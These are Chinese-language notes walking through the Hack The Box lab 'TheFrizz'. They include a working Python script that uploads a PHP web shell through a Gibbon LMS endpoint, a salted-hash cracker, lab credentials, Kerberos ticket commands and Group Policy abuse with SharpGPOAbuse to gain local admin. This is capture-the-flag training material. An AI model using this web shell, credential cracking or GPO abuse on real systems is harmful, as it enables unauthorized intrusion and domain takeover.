HTB-TheFrizz笔记

nmap -A -v -T4 10.10.11.60

import requestsimport base64import time
url = "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php"
# PHP WebShell 负载php_payload = "<?php echo system($_GET['cmd']);?>"encoded_php_payload = base64.b64encode(php_payload.encode()).decode()
# 可能的 WebShell 文件名shell_names = ["myshell.php", "myshell.phtml", "shell.php3", "../../myshell.php"]
# gibbonPersonIDgibbonPersonID = "0000000001"
def send_payload(path):    """ 发送 payload，尝试上传 WebShell """    payload = {        "img": f"image/png;asdf,{encoded_php_payload}",        "path": path,        "gibbonPersonID": gibbonPersonID    }    response = requests.post(url, data=payload)    return response.status_code == 200
def test_webshell(path):    """ 检查 WebShell 是否可访问 """    test_url = f"{url.rsplit('/', 1)[0]}/{path}?cmd=whoami"    response = requests.get(test_url)    if response.status_code == 200:        print(f"[+] WebShell 可访问: {test_url}")        print(f"[+] 执行 whoami 结果: {response.text}")        return True    else:        print(f"[-] 无法访问 WebShell: {test_url} (HTTP {response.status_code})")        return False
def main():    for path in shell_names:        print(f"[+] 尝试上传 WebShell: {path}")        if send_payload(path):            print(f"[+] 负载成功发送，尝试访问 {path}...")            time.sleep(3)  # 等待服务器写入文件            if test_webshell(path):                print("[+] WebShell 上传成功，进入交互模式...")                interact_with_shell(path)                return    print("[-] 所有路径尝试失败，WebShell 可能未上传")
def interact_with_shell(path):    """ 交互模式 """    while True:        command = input("[+] 请输入要执行的命令 (exit 退出): ")        if command.lower() == "exit":            break        test_url = f"{url.rsplit('/', 1)[0]}/{path}?cmd={command}"        response = requests.get(test_url)        if response.status_code == 200:            print(f"[+] 执行结果:n{response.text}")        else:            print(f"[-] 访问失败 (HTTP {response.status_code})")
if __name__ == "__main__":    main()

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName

AdministratorGuestkrbtgtf.frizzlew.lih.armM.SchoolBusd.hudsonk.franklinl.awesomet.wrightr.tennelliJ.perlsteina.perlsteinp.teresev.frizzleg.frizzlec.sandiegoc.ramonm.ramonw.Webservice

mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson WHERE username IS NOT NULL;"gibbonPersonID	title	surname	firstName	preferredName	officialName	nameInCharacters	gender	username	passwordStrong	passwordStrongSalt	passwordForceReset	status	canLogin	gibbonRoleIDPrimary	gibbonRoleIDAll	dob	email	emailAlternate	image_240	lastIPAddress	lastTimestamp	lastFailIPAddress	lastFailTimestamp	failCount	address1	address1District	address1Country	address2	address2District	address2Country	phone1Type	phone1CountryCode	phone1	phone3Type	phone3CountryCode	phone3	phone2Type	phone2CountryCode	phone2	phone4Type	phone4CountryCode	phone4	website	languageFirst	languageSecond	languageThird	countryOfBirth	birthCertificateScan	ethnicity	religion	profession	employer	jobTitle	emergency1Name	emergency1Number1	emergency1Number2	emergency1Relationship	emergency2Name	emergency2Number1	emergency2Number2	emergency2Relationship	gibbonHouseID	studentID	dateStart	dateEnd	gibbonSchoolYearIDClassOf	lastSchool	nextSchool	departureReason	transport	transportNotes	calendarFeedPersonal	viewCalendarSchool	viewCalendarPersonal	viewCalendarSpaceBooking	gibbonApplicationFormID	lockerNumber	vehicleRegistration	personalBackground	messengerLastRead	privacy	dayType	gibbonThemeIDPersonal	gibboni18nIDPersonal	studentAgreements	googleAPIRefreshToken	microsoftAPIRefreshToken	genericAPIRefreshToken	receiveNotificationEmails	mfaSecret	mfaToken	cookieConsent	fields0000000001	Ms.	Frizzle	Fiona	Fiona	Fiona Frizzle		Unspecified	f.frizzle	067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03	/aACFhikmNopqrRTVz2489	N	Full	Y	001	001	NULL	[email protected]	NULL	NULL	::1	2024-10-29 09:28:59	NULL	NULL	0																																						NULL		NULL	NULL	NULL							Y	Y	N	NULL				NULL	NULL	NULL	NULL	NULL	NULL				Y	NULL	NULL	NULL	

import hashlibimport osfrom tqdm import tqdm
# 要破解的哈希值hash_to_crack = "067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03"
# 用于哈希的盐值salt = "/aACFhikmNopqrRTVz2489"
# 密码字典文件路径password_file_path = "/usr/share/wordlists/rockyou.txt"
def hash_password(password, salt, hash_algorithm='sha256'):    """计算密码的哈希值"""    hash_func = getattr(hashlib, hash_algorithm)    return hash_func((salt + password).encode()).hexdigest()
def main():    if not os.path.exists(password_file_path):        print(f"密码字典文件不存在: {password_file_path}")        return
    with open(password_file_path, "r", encoding="latin-1") as f:        passwords = [line.strip() for line in f]
    total_passwords = len(passwords)    print(f"总共有 {total_passwords} 个密码需要尝试。")
    # 使用 tqdm 显示进度条    for password in tqdm(passwords, total=total_passwords, desc="破解进度"):        hashed = hash_password(password, salt)        if hashed == hash_to_crack:            print(f"找到密码: {password}")            break
if __name__ == "__main__":    main()

python3 getTGT.py -dc-ip 10.10.11.60 frizz.htb/f.frizzle:Jenni_Luvs_Magic23export KRB5CCNAME=f.frizzle.ccachessh [email protected]
~/.ssh/config

Host frizz.htb    GSSAPIAuthentication yes    GSSAPIDelegateCredentials yes    PreferredAuthentications gssapi-with-mic
Host frizzdc.frizz.htb    GSSAPIAuthentication yes    GSSAPIDelegateCredentials yes    PreferredAuthentications gssapi-with-mic


 /etc/krb5.conf
 [libdefaults]    default_realm = FRIZZ.HTB    dns_lookup_realm = false    dns_lookup_kdc = true    ticket_lifetime = 24h    forwardable = true
[realms]    FRIZZ.HTB = {        kdc = frizzdc.frizz.htb        admin_server = frizzdc.frizz.htb        default_domain = frizz.htb    }
[domain_realm].frizz.htb = FRIZZ.HTBfrizz.htb = FRIZZ.HTB

netexec ldap frizzdc.frizz.htb -u users.txt -p '!suBcig@MehTed!R'

impacket-getTGT -dc-ip 10.10.11.60 frizz.htb/m.schoolbus:'!suBcig@MehTed!R'export KRB5CCNAME=m.schoolbus.ccachessh [email protected]

# 创建一个新的组策略对象，名称为 "ikun"New-GPO -Name "ikun"
# 将新创建的 GPO 链接到指定的 OU，并启用链接New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName ikun
gpupdate /force